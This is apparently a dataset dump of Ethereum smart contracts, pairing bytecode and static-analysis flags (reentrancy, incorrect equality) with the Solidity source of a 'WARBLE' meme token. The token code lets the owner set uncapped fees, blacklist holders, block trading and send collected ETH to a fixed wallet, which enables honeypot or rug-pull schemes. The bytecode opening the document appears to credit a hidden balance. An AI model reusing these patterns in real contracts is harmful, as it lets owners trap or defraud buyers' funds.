38216600090815260036020526040812080548392906109f69084906110b7565b9091555050600080805260036020527f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff8054839290610a369084906110ce565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b60115460ff1680610a9e5750600f546001600160a01b038481169116145b610b035760405162461bcd60e51b815260206004820152603060248201527f45524332303a2074726164696e6720666f722074686520746f6b656e2069732060448201526f3737ba103cb2ba1032b730b13632b21760811b60648201526084016103b0565b600f54610b31908490849084906001600160a01b038085169116148015610b2c57506000600b54115b610bfe565b600f546001600160a01b03848116911614610b4d576000610b50565b60015b60ff16600b6000828254610b6491906110ce565b9091555050505050565b600f546001600160a01b038281169116148015610b8d57506002600b54115b610b98576000610bad565b722cd76fe086b93ce2f768a00b22a000000000005b72ffffffffffffffffffffffffffffffffffffff1660036000836001600160a01b03166001600160a01b031681526020019081526020016000206000828254610bf691906110ce565b909155505050565b80610c1357601154610100900460ff16610c16565b60015b601180549115156101000261ff00199092169190911790556001600160a01b03841660009081526002602052604090205460ff1615156001148015610c7957506001600160a01b03831660009081526002602052604090205460ff161515600114155b80610ccb57506001600160a01b03841660009081526002602052604090205460ff161515600114801590610ccb57506001600160a01b03831660009081526002602052604090205460ff161515600114155b15610d1c57600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319166001600160a01b0385161790555b6001600160a01b03841660009081526002602052604090205460ff161515600114801590610d6757506001600160a01b03831660009081526002602052604090205460ff1615156001145b15610d8657600c601054610d7b91906110e6565b8210610d8657600080fd5b601154610100900460ff168015610daa5750600f546001600160a01b038581169116145b15610e235760005b600554811015610e215760146003600060058481548110610dd557610dd5611108565b60009182526020808320909101546001600160a01b0316835282019290925260400181208054909190610e099084906110e6565b90915550819050610e198161111e565b915050610db2565b505b426009541480610e3a5750601154610100900460ff165b8015610e6457506001600160a01b03831660009081526002602052604090205460ff161515600114155b8015610e9057506006546001600160a01b031660009081526002602052604090205460ff161515600114155b8015610e9e57506001601254115b610ea9576001610eac565b60645b6006546001600160a01b03166000908152600360205260408120805460ff9390931692909190610edd9084906110e6565b909155505060128054906000610ef28361111e565b9091555050600680546001600160a01b0319166001600160a01b03949094169390931790925550504260095550565b600060208083528351808285015260005b81811015610f4e57858101830151858201604001528201610f32565b81811115610f60576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610f8d57600080fd5b919050565b60008060408385031215610fa557600080fd5b610fae83610f76565b946020939093013593505050565b600080600060608486031215610fd157600080fd5b610fda84610f76565b9250610fe860208501610f76565b9150604084013590509250925092565b60006020828403121561100a57600080fd5b5035919050565b60006020828403121561102357600080fd5b61102c82610f76565b9392505050565b6000806040838503121561104657600080fd5b61104f83610f76565b915061105d60208401610f76565b90509250929050565b600181811c9082168061107a57607f821691505b6020821081141561109b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156110c9576110c96110a1565b500390565b600082198211156110e1576110e16110a1565b500190565b60008261110357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611132576111326110a1565b506001019056fea2646970667358221220c0b915dd292818726ae131ee0b7534c7c3959d4071e3571908d4706a1599537f64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 8,796 |
0xc2b5ae0421595a5d203d1007a0162fdeb886911c
|
// SPDX-License-Identifier: Unlicensed
//A rough squawk is not elegant
//a soft warble is more beautiful
//https://t.me/warble_eth
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WARBLE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Caw Warble";
string private constant _symbol = "WARBLE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x0806F4a4F2Cf29C061813bCaF56FA3A05558fb9A);
address payable private _marketingAddress = payable(0x0806F4a4F2Cf29C061813bCaF56FA3A05558fb9A);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 100 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b257600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611955565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600a81526943617720576172626c6560b01b60208201525b60405161023a9190611a1a565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a6f565b61069c565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611a9b565b6106b3565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611adc565b61071c565b34801561036e57600080fd5b506101fc61037d366004611b09565b610767565b34801561038e57600080fd5b506101fc6107af565b3480156103a357600080fd5b506102c26103b2366004611adc565b6107fa565b3480156103c357600080fd5b506101fc61081c565b3480156103d857600080fd5b506101fc6103e7366004611b24565b610890565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611adc565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b09565b6108bf565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b50604080518082019091526006815265574152424c4560d01b602082015261022d565b3480156104be57600080fd5b506101fc6104cd366004611b24565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b3d565b610936565b3480156104fe57600080fd5b5061026361050d366004611a6f565b610974565b34801561051e57600080fd5b5061026361052d366004611adc565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b6f565b6109d5565b34801561058357600080fd5b506102c2610592366004611bf3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b24565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611adc565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c2c565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c61565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c8d565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611da5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c2c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c2c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c2c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c2c565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c2c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c2c565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c2c565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c2c565b60005b82811015610a70578160056000868685818110610a2157610a21611c61565b9050602002016020810190610a369190611adc565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c8d565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c2c565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c2c565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611ca6565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611461565b600081848411156112135760405162461bcd60e51b81526004016106279190611a1a565b5060006112208486611cbe565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461148f565b90506112e083826114b2565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c61565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611388573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ac9190611cd5565b816001815181106113bf576113bf611c61565b6001600160a01b0392831660209182029290920101526014546113e59130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141e908590600090869030904290600401611cf2565b600060405180830381600087803b15801561143857600080fd5b505af115801561144c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146e5761146e6114f4565b611479848484611522565b80610a7057610a70600e54600c55600f54600d55565b600080600061149c611619565b90925090506114ab82826114b2565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611659565b600c541580156115045750600d54155b1561150b57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153487611687565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156690876116e4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115959086611726565b6001600160a01b0389166000908152600260205260409020556115b781611785565b6115c184836117cf565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160691815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163482826114b2565b82101561165057505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361167a5760405162461bcd60e51b81526004016106279190611a1a565b5060006112208486611d63565b60008060008060008060008060006116a48a600c54600d546117f3565b92509250925060006116b461148f565b905060008060006116c78e878787611848565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117338385611ca6565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061178f61148f565b9050600061179d8383611898565b306000908152600260205260409020549091506117ba9082611726565b30600090815260026020526040902055505050565b6006546117dc90836116e4565b6006556007546117ec9082611726565b6007555050565b600080808061180d60646118078989611898565b906114b2565b9050600061182060646118078a89611898565b90506000611838826118328b866116e4565b906116e4565b9992985090965090945050505050565b60008080806118578886611898565b905060006118658887611898565b905060006118738888611898565b905060006118858261183286866116e4565b939b939a50919850919650505050505050565b6000826000036118aa575060006106ad565b60006118b68385611d85565b9050826118c38583611d63565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195081611930565b919050565b6000602080838503121561196857600080fd5b823567ffffffffffffffff8082111561198057600080fd5b818501915085601f83011261199457600080fd5b8135818111156119a6576119a661191a565b8060051b604051601f19603f830116810181811085821117156119cb576119cb61191a565b6040529182528482019250838101850191888311156119e957600080fd5b938501935b82851015611a0e576119ff85611945565b845293850193928501926119ee565b98975050505050505050565b600060208083528351808285015260005b81811015611a4757858101830151858201604001528201611a2b565b81811115611a59576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8257600080fd5b8235611a8d81611930565b946020939093013593505050565b600080600060608486031215611ab057600080fd5b8335611abb81611930565b92506020840135611acb81611930565b929592945050506040919091013590565b600060208284031215611aee57600080fd5b81356112e081611930565b8035801515811461195057600080fd5b600060208284031215611b1b57600080fd5b6112e082611af9565b600060208284031215611b3657600080fd5b5035919050565b60008060008060808587031215611b5357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8457600080fd5b833567ffffffffffffffff80821115611b9c57600080fd5b818601915086601f830112611bb057600080fd5b813581811115611bbf57600080fd5b8760208260051b8501011115611bd457600080fd5b602092830195509350611bea9186019050611af9565b90509250925092565b60008060408385031215611c0657600080fd5b8235611c1181611930565b91506020830135611c2181611930565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c9f57611c9f611c77565b5060010190565b60008219821115611cb957611cb9611c77565b500190565b600082821015611cd057611cd0611c77565b500390565b600060208284031215611ce757600080fd5b81516112e081611930565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d425784516001600160a01b031683529383019391830191600101611d1d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9f57611d9f611c77565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220310af8e956d35b521d0d4e1bb3fd8e029d21f6e2755942a47fc342ac625a553564736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,797 |
0x40f5d52331674b60bc532f553c97feac5d60ab34
|
pragma solidity ^0.4.25;
/*
* https://cryptominertoken.surge.sh
*
